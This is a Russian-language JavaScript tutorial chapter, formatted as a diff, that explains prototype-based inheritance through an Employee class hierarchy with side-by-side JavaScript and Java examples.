+<h2 id="Пример_Сотрудник">Пример Сотрудник</h2>
+
+<p>Оставшаяся часть этой главы объясняет иерархию сотрудников, показанную на следующем рисунке:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4452/=figure8.1.png" style="height: 194px; width: 281px;"></p>
+
+<p><small><strong>Рисунок 8.1: Простая иерархия объектов</strong></small></p>
+
+<p>Этот пример использует следующие объекты:</p>
+
+<ul>
+ <li><code>Employee</code> имеет свойство <code>name</code> (значение которого по умолчанию пустая строка) и <code>dept</code> (значение которого по умолчанию "general").</li>
+ <li><code>Manager</code> основывается на <code>Employee</code>. Он добавляет свойство <code>reports</code> (значение которого по умолчанию пустой массив, предназначенный для хранения массива объектов <code>Employee</code>).</li>
+ <li><code>WorkerBee</code> так же основан на <code>Employee</code>. Он добавляет свойство <code>projects</code> (значение которого по умолчанию пустой массив, предназначенный для хранения строк).</li>
+ <li><code>SalesPerson</code> основан на <code>WorkerBee</code>. Он добавляет свойство <code>quota </code>(значение которого по умолчанию 100). Он также переопределяет свойство <code>dept</code>, со значением "sales", указывая, что все продавцы находятся в одном отделе.</li>
+ <li><code>Engineer</code> основан на <code>WorkerBee</code>. Он добавляет свойство <code>machine</code> (значение которого по умолчанию пустая строка), а так же определяет свойство <code>dept</code> значением "engineering".</li>
+</ul>
+
+<h2 id="Создание_иерархии">Создание иерархии</h2>
+
+<p>Известно несколько способов определить подходящие функции-конструкторы, которые реализуют иерархию <code>Employee</code>. Выбор способа определения в большей степени зависит от того, на что рассчитано ваше приложение.</p>
+
+<p>В этом разделе приведены очень простые (и сравнительно не гибкие) определения, для демонстрации того, как же работает наследование. В этих определениях, вы не можете указать значения свойствам при создании объекта. Свойства вновь созданного объекта попросту получают значения по умолчанию, которые можно изменить позднее.</p>
+
+<p>В реальном приложении, вы, вероятно, будете определять конструкторы, которые позволяют устанавливать нужные вам значения свойств во время создания объекта (см <a href="#Более_гибкие_конструкторы">Более гибкие конструкторы</a>). В данном же случае конструкторы упрощены сознательно для того, чтобы сфокусироваться на сути наследования.</p>
+
+<p>Следующие определения <code>Employee</code> для языков Java и JavaScript довольно похожи. Единственное отличие состоит в том, что вам необходимо указать тип каждого свойства в Java, но не в JavaScript (потому что Java является <a href="https://ru.wikipedia.org/wiki/Сильная_и_слабая_типизация">строго типизированным языком</a>, в то время как JavaScript слабо типизированный).</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Employee() {
+  this.name = '';
+  this.dept = 'general';
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Employee {
+   public String name = "";
+   public String dept = "general";
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Определения классов <code>Manager</code> и <code>WorkerBee</code> показывают разницу в определении вышестоящего объекта в цепочке наследования. В JavaScript вводится связующий объект (прототипный экземпляр), который присваивается в качестве значения свойству <code>prototype </code>функции-конструктора. Вы можете сделать это в любое время после того, как вы создали конструктор. В Java, необходимо указать суперкласс внутри определения класса. Вы не можете изменить суперкласс вне определения класса.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Manager() {
+  Employee.call(this);
+  this.reports = [];
+}
+//создаем пустой бъект с прототипом от коструктора Employee
+//и используем этот объект как прототип для Manager
+Manager.prototype = Object.create(Employee.prototype);
+
+Manager.prototype.constructor = Manager;
+
+function WorkerBee() {
+  Employee.call(this);
+  this.projects = [];
+}
+WorkerBee.prototype = Object.create(Employee.prototype);
+WorkerBee.prototype.constructor = WorkerBee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Manager extends Employee {
+   public Employee[] reports = new Employee[0];
+}
+
+public class WorkerBee extends Employee {
+   public String[] projects = new String[0];
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Классы <code>Engineer</code> и <code>SalesPerson</code> создают объекты, которые происходят от <code>WorkerBee</code> и, следовательно, от <code>Employee</code>. Объект этих типов имеет свойства всех объектов, расположенных над ним в иерархии. Также, эти классы переопределяют наследуемое значение свойства <code>dept</code> своими значениями, характерными для этих объектов.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function SalesPerson() {
+   WorkerBee.call(this);
+   this.dept = 'sales';
+   this.quota = 100;
+}
+SalesPerson.prototype = Object.create(WorkerBee.prototype);
+SalesPerson.prototype.constructor = SalesPerson;
+
+function Engineer() {
+   WorkerBee.call(this);
+   this.dept = 'engineering';
+   this.machine = '';
+}
+Engineer.prototype = Object.create(WorkerBee.prototype);
+Engineer.prototype.constructor = Engineer;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class SalesPerson extends WorkerBee {
+   public double quota;
+   public dept = "sales";
+   public quota = 100.0;
+}
+
+public class Engineer extends WorkerBee {
+   public String machine;
+   public dept = "engineering";
+   public machine = "";
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Используя эти определения, вы можете создавать экземпляры объектов, которые получат значения по умолчанию для своих свойств. Рисунок 8.3 иллюстрирует использование этих определений и показывает значения свойств у полученных объектов.</p>
+
+<p>{{ note('Термин <em>экземпляр </em>имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определенного класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной <span>функции конструктора. Так, в этом примере, вы можете неформально сказать, что <code>jane</code> является экземпляром <code>Engineer</code>. Аналогично, хотя термины <em>parent, child, ancestor</em> и <em>descendant</em> (<em>родитель, ребенок, предок</em> и <em>потомок</em>) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже</span> <span>в</span> <span>цепочке прототипов.') }}</span></p>
+
+<p><img alt="figure8.3.png" class="default internal" id="figure8.3" src="/@api/deki/files/4403/=figure8.3.png"><br>
+ <a id="8.3" name="8.3"><small><strong>Рисунок 8.3: Создание объектов с простыми определениями</strong></small></a></p>
+
+<h2 id="Свойства_объекта">Свойства объекта</h2>
+
+<p>Этот раздел о том, как объекты наследуют свойства из других объектов в цепочке прототипов, и что происходит, когда вы добавляете свойство во время выполнения.</p>
+
+<h3 id="Наследование_свойств">Наследование свойств</h3>
+
+<p>Предположим, вы создаете объект <code>mark</code> в качестве <code>WorkerBee</code> (как показано на <a href="#8.3">Рисунок 8.3</a>) с помощью следующего выражения:</p>
+
+<pre class="brush: js">var mark = new WorkerBee;
+</pre>
+
+<p>Когда JavaScript видит оператор <code>new</code>, он создает новый обобщенный объект и неявно устанавливает значение внутреннего свойства [[Prototype]] в <code>WorkerkBee.prototype</code>, затем передает этот новый объект в качестве значения <code>this</code> в функцию-конструктор <code>WorkerBee</code>. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый объект, а оператор присваивания устанавливает переменную <code>mark</code> для этого объекта.</p>
+
+<p>Этот процесс не задает значения свойств (<em>локальных</em> значений), которые унаследованы по цепочке прототипов, объекта <code>mark</code> напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если объект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что объект не обладает свойством. Таким образом, объект <code>mark</code> содержит следующие свойства и значения:</p>
+
+<pre class="brush: js">mark.name = '';
+mark.dept = 'general';
+mark.projects = [];
+</pre>
+
+<p>Значения для свойств <code>name</code> и <code>dept</code> объекту <code>mark</code> присваиваются из конструктора <code>Employee</code>. Также из конструктора <code>WorkerBee</code> присваивается локальное значение для свойства <code>projects</code>. Это дает вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в <a href="#Тонкости_наследования_свойств">Тонкости наследования свойств</a>.</p>
+
+<p>Поскольку эти конструкторы не позволяют вводить значения, специфичные для экземпляра, добавленная информация является общей. Значения свойств устанавливаются по умолчанию одинаковыми для всех объектов, созданных функцией <code>WorkerBee</code>. Конечно, вы можете изменить значения любого из этих свойств. Так, вы можете добавить специфичную информацию для <code>mark</code> следующим образом:</p>
+
+<pre class="brush: js">mark.name = 'Doe, Mark';
+mark.dept = 'admin';
+mark.projects = ['navigator'];</pre>
+
+<h3 id="Добавление_свойств">Добавление свойств</h3>
+
+<p>В JavaScript вы можете добавить свойства для любого объекта в реальном времени. Вы не ограничены только свойствами, установленными функцией-конструктором. Чтобы добавить свойство, специфичное для конкретного объекта, вы присваиваете ему значение в объекте, вот так:</p>
+
+<pre class="brush: js">mark.bonus = 3000;
+</pre>
+
+<p>Теперь объект <code>mark</code> имеет свойство <code>bonus</code>, но никакой другой <code>WorkerBee</code> не имеет этого свойства.</p>
+
+<p>Если вы добавляете новое свойство в объект, который используется в качестве прототипа для функции-конструктора, вы добавляете это свойство для всех объектов, наследующих свойства из этого прототипа. Например, вы можете добавить свойство <code>specialty</code> для всех сотрудников с помощью следующего выражения:</p>
+
+<pre class="brush: js">Employee.prototype.specialty = 'none';
+</pre>
+
+<p>Как только JavaScript выполняет это выражение, объект <code>mark</code> также получает свойство <code>specialty</code> со значением <code>"none"</code>. Следующий рисунок показывает результат добавления этого свойства в прототип <code>Employee</code> и последующее переопределение его в прототипе <code>Engineer</code>.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
+ <small><strong>Рисунок 8.4: Добавление свойств</strong></small></p>
+
+<h2 id="Более_гибкие_конструкторы">Более гибкие конструкторы</h2>
+
+<p><span id="result_box" lang="ru"><span>Функции</span>-<span>конструкторы</span><span>, показанные</span> <span>до сих пор,</span> <span>не</span> <span>позволяют задавать</span> <span>значения</span> <span>свойств при создании</span> <span>экземпляра. Как и в</span> <span>Java</span><span>,</span> <span>вы можете передать</span> <span>аргументы в</span> <span>конструкторах</span> <span>для инициализации значений свойств</span><span> экземпляров</span><span>.</span> <span>На следующем рисунке показан</span> <span>один из способов сделать</span> <span>это</span><span>.</span></span></p>
+
+<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
+ <a id="8.5" name="8.5"><small><strong>Рисунок 8.5: Определение свойств в конструкторе, вариант 1</strong></small></a></p>
+
+<p>Следующая таблица показывает определения для этих объектов в JavaScript и Java.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Employee (name, dept) {
+  this.name = name || '';
+  this.dept = dept || 'general';
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this("", "general");
+   }
+   public Employee (String name) {
+      this(name, "general");
+   }
+   public Employee (String name, String dept) {
+      this.name = name;
+      this.dept = dept;
+   }
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function WorkerBee (projs) {
+
+ this.projects = projs || [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this(new String[0]);
+   }
+   public WorkerBee (String[] projs) {
+      projects = projs;
+   }
+}
+
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+
+function Engineer (mach) {
+   this.dept = 'engineering';
+   this.machine = mach || '';
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      dept = "engineering";
+      machine = "";
+   }
+   public Engineer (String mach) {
+      dept = "engineering";
+      machine = mach;
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В JavaScript эти определения используют специальную идеому для установки значений по умолчанию:</p>
+
+<pre class="brush: js">this.name = name || '';
+</pre>
+
+<p>В JavaScript логический оператор ИЛИ (<code>||</code>) оценивает свой первый аргумент. Если этот аргумент преобразуется в true, оператор возвращает его. Иначе, оператор возвращает значение второго аргумента. Следовательно, эта строчка кода проверяет, содержит ли аргумент <code>name</code> значение, пригодное для свойства <code>name</code>. Если так и есть, <code>this.name</code> определяется этим значением. В противном случае, значению <code>this.name</code> присваивается пустая строка. Эта глава использует такую идиому для краткости; тем не менее, с первого взгляда она может озадачить.</p>
+
+<p>{{ note('Это может работать не так, как ожидается, если функция-конструктор вызывается с аргументами, которые преобразуются в <code><code>false</code></code>, вроде нуля (<code>0</code>) или пустой строки (<code>""</code>). В этом случае будет выбрано значение по умолчанию.') }}</p>
+
+<p>С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определенных свойств. Как показано на <a href="#8.5">Рисунок 8.5</a>, можно использовать следующее выражение для создания нового <code>Engineer</code>:</p>
+
+<pre class="brush: js">var jane = new Engineer('belau');
+</pre>
+
+<p>Свойства созданного объекта <code>jane</code>:</p>
+
+<pre class="brush: js">jane.name == '';
+jane.dept == 'engineering';
+jane.projects == [];
+jane.machine == 'belau'
+</pre>
+
+<p>Обратите внимание, что с таким способом вы не можете указать начальное значение наследуемого свойства, такого как <code>name</code>. Если вы хотите задать начальное значение для наследуемых свойств в JavaScript, вам нужно добавить больше кода в функцию-конструктор.</p>
+
+<p>До сих пор функция-конструктор создавала обобщенный объект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путем непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
+ <small><strong>Рисунок 8.6: Определение свойств в конструкторе, вариант 2</strong></small></p>
+
+<p>Давайте рассмотрим одно из этих определений детальнее. Вот новое определение функции-конструктора <code>Engineer</code>:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, 'engineering', projs);
+  this.machine = mach || '';
+}
+</pre>
+
+<p>Предположим, вы создаете новый объект, используя <code>Engineer, следующим образом:</code></p>
+
+<pre class="brush: js">var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau');
+</pre>
+
+<p>JavaScript <span id="result_box" lang="ru"><span>выполняет следующие действия</span><span>:</span></span></p>
+
+<ol>
+ <li>Оператор <code>new</code> создает обобщенный объект и устанавливает его свойству <code>__proto__</code> значение <code>Engineer.prototype</code>.</li>
+ <li>Оператор <code>new</code> передает этот новый объект в конструктор <code>Engineer</code> в качестве значения ключевого слова <code>this</code>.</li>
+ <li>Конструктор создает новое свойство с именем <code>base</code> для этого объекта и присваивает значение свойства <code>base</code> из конструктора <code>WorkerBee</code>. Это делает конструктор <code>WorkerBee</code> методом объекта, созданного <code>Engineer</code>. Имя свойства <code>base</code> не является специальным словом. Вы можете использовать любое допустимое для свойства имя; <code>base</code> всего-лишь напоминает о предназначении свойства.</li>
+ <li>Конструктор вызывает метод <code>base</code>, передавая в качестве аргументов два аргумента, переданных конструктору (<code>"Doe, Jane"</code> и <code>["navigator", "javascript"]</code>), а также строку <code>"engineering"</code>. Явное использование <code>"engineering"</code> в конструкторе указывает на то, что все объекты, созданные <code>Engineer</code>, имеют одинаковое значение для наследуемого свойства <code>dept</code>, это значение переопределяет значение, унаследованное из <code>Employee</code>.</li>
+ <li>Поскольку <code>base</code> является методом <code>Engineer</code>, внутри вызова <code>base</code> JavaScript привязывает ключевое свойство <code>this</code> к объекту, созданному в шаге 1. Таким образом, функция <code>WorkerBee</code> передает поочередно аргументы <code>"Doe, Jane"</code> и <code>"engineering"</code> в функцию-конструктор <code>Employee</code>. Получив результат из <code>Employee</code>, функция <code>WorkerBee</code> использует оставшийся аргумент для установки значения свойства <code>projects</code>.</li>
+ <li>После возвращения из метода <code>base</code>, конструктор <code>Engineer</code> инициализирует свойство объекта <code>machine</code> со значением <code>"belau"</code>.</li>
+ <li>После возвращения из конструктора, JavaScript присваивает новый объект переменной <code>jane</code>.</li>
+</ol>
+
+<p>Можно подумать, что вызвав <code>WorkerBee</code> из конструктора <code>Engineer</code>, вы настроили соответствующим образом наследование для объектов, создаваемых <code>Engineer</code>. Это не так. Вызов конструктора <code>WorkerBee</code> обеспечивает только то, что объект <code>Engineer</code> запускается со  свойствами, определенными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы <code>Employee</code> или <code>WorkerBee</code>, эти свойства не унаследуются объектами из <code>Engineer</code>. Например, предположим, вы использовали следующие определения:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, 'engineering', projs);
+  this.machine = mach || '';
+}
+var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau');
+Employee.prototype.specialty = 'none';
+</pre>
+
+<p>В примере выше <code>jane</code> не унаследует свойство <code>specialty</code>. Для динамического наследования необходимо явно устанавливать прототип, что и сделано в следующем дополнении:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, 'engineering', projs);
+  this.machine = mach || '';
+}
+Engineer.prototype = new WorkerBee;
+var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau');
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>Теперь свойство <code>specialty</code> объекта <code>jane</code> имеет значение "none".</p>
+
+<p>Другой способ вызвать родительский конструктор в контексте создаваемого объекта это использование методов <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call"><code>call()</code></a> / <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply"><code>apply()</code></a>. Следующие блоки эквивалентны:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, 'engineering', projs);
+  this.machine = mach || '';
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: js">
+function Engineer (name, projs, mach) {
+  WorkerBee.call(this, name, 'engineering', projs);
+  this.machine = mach || '';
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Использование метода <code>call()</code> является более чистой реализацией наследования, так как он не требует создания дополнителного свойства, именованного в примере как <code>base</code>.</p>
+
+<h2 id="Тонкости_наследования_свойств">Тонкости наследования свойств</h2>
+
+<p>В секции выше рассказывалось каким образом конструкторы и прототипы в JavaScript обеспечивают иерархию и наследование. В секции ниже будут затронуты тонкости, которые выше были не так очевидны.</p>
+
+<h3 id="Локальные_значения_против_унаследованных">Локальные значения против унаследованных</h3>
+
+<p>Когда вы пытаетесь получить значение некоторого свойства объекта, JavaScript выполняет следующие шаги, которые уже перечислялись ранее в этой главе:</p>
+
+<ol>
+ <li>Проверяется, существует ли локальное свойство с запрашиваемым именем. Если да, то возвращается значение этого свойства.</li>
+ <li>Если локального свойства не существует, проверяется цепочка прототипов (через использование свойства <code>__proto__</code>).</li>
+ <li>Если один из объектов в цепочке прототипов имеет свойство c запрашиваемым именем, возвращается значение этого свойства.</li>
+ <li>Если искомое свойство не обнаружено, считается, что объект его не имеет.</li>
+</ol>
+
+<p>Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаете объекты, прототипы и их свойства. Рассмотрим пример:</p>
+
+<pre class="brush: js">function Employee () {
+  this.name = "";
+  this.dept = "general";
+}
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<p>Предположим, на основе конструкции выше, вы создаете объект <code>amy</code> как экземпляр класса <code>WorkerBee</code> следующим выражением:</p>
+
+<pre class="brush: js">var amy = new WorkerBee;
+</pre>
+
+<p><code><font face="Open Sans, Arial, sans-serif">В результате, объект </font>amy</code> будет иметь одно локальное своство - <code>projects</code>. Свойства <code>name</code> и <code>dept</code> не будут локальными для <code>amy</code> но будут взяты из прототипа (объект на который ссылается свойство <code>__proto__</code> объекта <code>amy)</code>. Таким образом, <code>amy</code> имеет три свойства:</p>
+
+<pre class="brush: js">amy.name == "";
+amy.dept == "general";
+amy.projects == [];
+</pre>
+
+<p>Теперь предположим, что вы изменили значение свойства <code>name</code> у прототипа <code>Employee</code>:</p>
+
+<pre class="brush: js">Employee.prototype.name = "Unknown"
+</pre>
+
+<p>На первый взгляд вы можете ожидать, что это изменение распространится на все экземпляры <code>Employee</code>. Однако этого не случится.</p>
+
+<p>Когда вы устанавливаете прототип для <code>WorkerBee</code> вы создаете новый объект <code>Employee</code>, таким образом <code>WorkerBee.prototype</code> получает свое собственное локальное свойство <code>name</code> (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство <code>name</code> у объекта <code>amy</code> (экземпляра <code>WorkerBee</code>), он первым делом натыкается на него в прототипе <code>WorkerBee.prototype,</code> и до проверки <code>Employee.prototype</code> дело не доходит.</p>
+
+<p>Если у вас есть необходимость изменять некоторое свойство объекта во время работы приложения, и применять это изменение на все существующие экземпляры, не нужно создавать это свойство внутри конструктора. Вместо этого добавьте свойство в прототип, принадлежащий конструктору. Для примера, предположим, вы изменили код, который был показан выше, следующим образом:</p>
+
+<pre class="brush: js">function Employee () {
+  this.dept = "general";
+}
+Employee.prototype.name = "";
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+var amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+
+<p>в таком случае свойство <code>name</code> у объекта <code>amy</code> примет значение "Unknown".</p>
+
+<p>Как показано в этом примере, если вы хотите иметь значения свойств по умолчанию, и иметь возможность менять эти значения во время работы приложения, создавайте их в прототипе конструктора, а не в самом конструкторе.</p>
+
+<h3 id="Разбираемся_во_взаимосвязи_экземпляров">Разбираемся во взаимосвязи экземпляров</h3>
+
+<p>Поиск свойств в JavaScript начинается с просмотра самого объекта, и если в нем свойство не найдено, поиск переключается на объект, на который указывает ссылка <code>__proto__</code>. Это продолжается рекурсивно и такой процесс поиска называется "поиск в цепочке прототипов".</p>
+
+<p>Специальное свойство <code>__proto__</code> устанавливается автоматически при создании объекта. Оно принимает значение свойства <code>prototype</code> функции-конструктора. Таким образом, <code>new Foo()</code> создаст объект для которого справедливо выражение <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code>. Вследствие этого, любые изменения свойств у <code class="moz-txt-verticalline">Foo.prototype,</code> оказывают эффект на процесс поиска свойств во всех объектах, созданных при помощи <code>new Foo()</code>.</p>
+
+<p>Все объекты (за исключением глобального объекта <code>Object</code>) имеют свойство <code>__proto__.</code> Все функции имеют свойство <code>prototype</code>. Благодаря этому, могут быть установлены родственные связи в иерархии объектов. Вы можете установить родство и происхождение объекта, сравнив его свойство <code>__proto__</code> со свойством <code>prototype</code> конструктора. Здесь JavaScript представляет оператор <code>instanceof</code> как более простой способ проверки, наследуется ли объект от конкретного конструктора. Для примера:</p>
+
+<pre class="brush: js">var f = new Foo();
+var isTrue = (f instanceof Foo);</pre>
+
+<p>Для более детального примера, предположим, у вас имеются те же определения, что приведены в разделе <a href="#Inheriting_properties">Inheriting properties</a>. Создадим экземпляр <code>Engineer</code> как показано здесь:</p>
+
+<pre class="brush: js">var chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
+</pre>
+
+<p>Для полученного объекта будут истинными все из следующих выражений:</p>
+
+<pre class="brush: js">chris.__proto__ == Engineer.prototype;
+chris.__proto__.__proto__ == WorkerBee.prototype;
+chris.__proto__.__proto__.__proto__ == Employee.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+
+<p>Зная это, вы можете написать свою функцию <code>instanceOf</code> как показано ниже:</p>
+
+<pre class="brush: js">function instanceOf(object, constructor) {
+   object = object.__proto__;
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      if (typeof object == 'xml') {
+        return constructor.prototype == XML.prototype;
+      }
+      object = object.__proto__;
+   }
+   return false;
+}
+</pre>
+
+<div class="note"><strong>Замечание:</strong> Реализация выше особым образом обрабатывает тип "xml". Это сделано для того, чтобы обойти особенность представления XML объектов в последних версиях JavaScript. Смотрите описание ошибки {{ bug(634150) }} если вам интересны детали.</div>
+
+<p>Следующие вызовы функции instanceOf, заданной выше, вернут истинные значения:</p>
+
+<pre>instanceOf (chris, Engineer)
+instanceOf (chris, WorkerBee)
+instanceOf (chris, Employee)
+instanceOf (chris, Object)
+</pre>
+
+<p>Но следующее выражение вернет <code>false</code>:</p>
+
+<pre class="brush: js">instanceOf (chris, SalesPerson)
+</pre>
+
+<h3 id="Глобальные_данные_в_конструкторах">Глобальные данные в конструкторах</h3>
+
+<p>При написании конструкторов, следует с особым вниманием относиться к изменению глобальных переменных. Например, если вам нужен уникальный ID, который был бы автоматически назначен каждому экземпляру <code>Employee,</code> вы примените следующий подход для определения <code>Employee</code>:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+</pre>
+
+<p>Здесь, когда вы создаете новый экземпляр <code>Employee</code>, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной <code>idCounter</code>. Следовательно, при выполнении кода ниже, <code>victoria.id</code> станет равным 1 а <code>harry.id</code> — 2:</p>
+
+<pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs")
+var harry = new Employee("Tschopik, Harry", "sales")
+</pre>
+
+<p>Навскидку, все выглядит предсказуемо. Однако, <code>idCounter</code> увеличивается при создании каждого объекта <code>Employee</code> вне зависимости от цели его создания. Если вы создаете полную иерархию класса <code>Employee,</code> показанную выше в этой главе, конструктор <code>Employee</code> будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+
+function Manager (name, dept, reports) {...}
+Manager.prototype = new Employee;
+
+function WorkerBee (name, dept, projs) {...}
+WorkerBee.prototype = new Employee;
+
+function Engineer (name, projs, mach) {...}
+Engineer.prototype = new WorkerBee;
+
+function SalesPerson (name, projs, quota) {...}
+SalesPerson.prototype = new WorkerBee;
+
+var mac = new Engineer("Wood, Mac");
+</pre>
+
+<p>Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведет к тому, что <code>id</code> у объекта <code>mac</code> примет значение 5 вместо ожидаемой единицы.</p>
+
+<p>В зависимости от приложения, лишние увеличения счетчика могут быть не критичны. В случае же, когда точный контроль за значениями счетчика важен, одним из возможных решений станет такой код:</p>
+
+<pre class="brush: js">function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   if (name)
+      this.id = idCounter++;
+}
+</pre>
+
+<p>Когда вы создаете экземпляр <code>Employee</code> в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента <code>name,</code> и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счетчика <code>idCounter</code> не увеличивается. Таким образом, для получения уникального <code>id</code> становится обязательным указание параметра <code>name</code> при вызове конструктора <code>Employee</code>. С внесенными в пример выше изменениями, <code>mac.id</code> станет равным долгожданной, заветной единице.</p>
+
+<h3 id="Никакого_множественного_наследования">Никакого множественного наследования</h3>
+
+<p>Некоторые из объектно-ориентированных языков предоставляют возможность множественного наследования. Когда один объект может унаследовать свойства и методы множества других, не связанных друг с другом объектов. В JavaScript такого не предусмотрено.</p>
+
+<p>В JavaScript наследование свойств осуществляется путем поиска в цепочке прототипов. Так как объект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.</p>
+
+<p>Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это дает некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следуюший фрагмент:</p>
+
+<pre class="brush: js">function Hobbyist (hobby) {
+   this.hobby = hobby || "scuba";
+}
+
+function Engineer (name, projs, mach, hobby) {
+   this.base1 = WorkerBee;
+   this.base1(name, "engineering", projs);
+   this.base2 = Hobbyist;
+   this.base2(hobby);
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+
+var dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
+</pre>
+
+<p>Предполагается, что определение <code>WorkerBee</code> задано ранее, как уже было показано в этой главе. В таком случае список свойств для объекта <code>dennis</code> примет следующий вид:</p>
+
+<pre class="brush: js">dennis.name == "Doe, Dennis"
+dennis.dept == "engineering"
+dennis.projects == ["collabra"]
+dennis.machine == "hugo"
+dennis.hobby == "scuba"
+</pre>
+
